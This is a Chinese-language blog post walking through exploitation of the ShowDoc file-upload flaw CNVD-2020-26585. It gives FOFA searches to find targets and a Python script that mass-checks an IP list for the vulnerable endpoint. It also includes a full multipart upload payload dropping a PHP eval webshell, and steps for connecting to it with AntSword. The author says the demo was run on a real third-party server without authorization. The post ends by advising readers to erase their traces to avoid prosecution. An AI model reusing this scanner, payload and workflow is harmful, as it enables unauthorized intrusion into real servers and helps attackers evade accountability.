Bootstrap

0x03 ShowDoc 文件上传漏洞(CNVD-2020-26585)复现

参考:ShowDoc文件上传漏洞(CNVD-2020-26585)_showdoc漏洞-CSDN博客

一、fofa 搜索使用该工具的网站

网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统

"ShowDoc"

 

二、验证目标url是否存在漏洞

手动验证

在url后面拼接

?s=/home/page/uploadImg

如果能成功访问就说明有可能存在漏洞,是否存在漏洞还需要后续进行上传测试

编写python脚本进行批量验证

首先你可以编写个搜索fofa的脚本,用来收集目标ip

搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

然后就可以编写ip验证脚本

import requests

# 读取本地的 ip.txt 文件
def read_urls(file_path):
    with open(file_path, 'r') as file:
        urls = file.readlines()
    return [url.strip() for url in urls]

# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout=3):
    endpoint = '/?s=/home/page/uploadImg'
    keyword = '没有上传的文件'
    for url in urls:
        full_url = url + endpoint
        try:
            response = requests.get(full_url, timeout=timeout)
            if response.status_code == 200 and keyword in response.text:
                print(f"Potential vulnerability found at: {full_url}")
            else:
                pass
                # print(f"No vulnerability detected at: {full_url} (Status Code: {response.status_code})")
        except requests.RequestException as e:
            pass
            # print(f"Error accessing {full_url}: {e}")

# 主函数
def main():
    file_path = 'ip.txt'
    urls = read_urls(file_path)
    test_vulnerabilities(urls)

if __name__ == "__main__":
    main()

三、尝试上传webshell

随便选择一个可能存在漏洞的url进行复现

使用bp抓包

发送到重发器

将请求改成post请求

然后在请求体后面加上payload 

payload 

Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 257

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php eval(@$_POST['mima']);?>
----------------------------921378126371623762173617--

以下是对每部分的详细解释:

  1. Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617:

    • Content-Type: multipart/form-data 指定了请求的主体是 multipart/form-data 格式,这种格式通常用于上传文件或包含多个部分的数据。
    • boundary=--------------------------921378126371623762173617 是分隔符,它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。
  2. Content-Length: 257:

    • 指示请求体的长度为 257 字节。这是请求体的总字节数,包括所有分隔符和数据。
  3. ----------------------------921378126371623762173617:

    • 这是第一个分隔符,表示请求体的开始。这是用来分隔请求中的第一个部分的边界。
  4. Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php":

    • Content-Disposition: form-data 表示这是表单数据的一部分。
    • name="editormd-image-file" 指定了表单字段的名称,这里是 editormd-image-file
    • filename="test.<>php" 指定了上传文件的名称,这里是 test.<>php
  5. Content-Type: text/plain:

    • 指定了上传文件的 MIME 类型,这里是 text/plain,表示文件的内容是纯文本。
  6. <?php eval(@$_POST['mima']);?>:

    • 这是文件 test.<>php 中的内容。它是一个 PHP 代码片段,用于执行传入的 PHP 代码。eval(@$_POST['mima']); 会执行 POST 请求中 mima 字段的内容,这可能会导致代码执行漏洞,允许攻击者在服务器上执行任意代码。
  7. ----------------------------921378126371623762173617--:

    • 这是请求体的结束分隔符,标志着请求体的结束。

 

四、使用工具(蚁剑、菜刀、冰蝎、哥斯拉)尝试连接webshell

这里用蚁剑演示,复制链接至蚁剑,将所有的“\”去除

去除 / 反斜杠后链接就会变成这样 

http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php

 连接密码:mima

可以连接后就可以进入虚拟终端执行一些命令,比如查看当前权限

可以继续上传msf或cs的马进行操作提权,但是我没有目标的授权就不继续下去了,如果你需要学习这方面的知识,可以订阅我的专栏:49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客

最后记住,清除我们的渗透痕迹,防止别人进行溯源,起诉我们。

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。

  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。

  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。

  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。

  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

;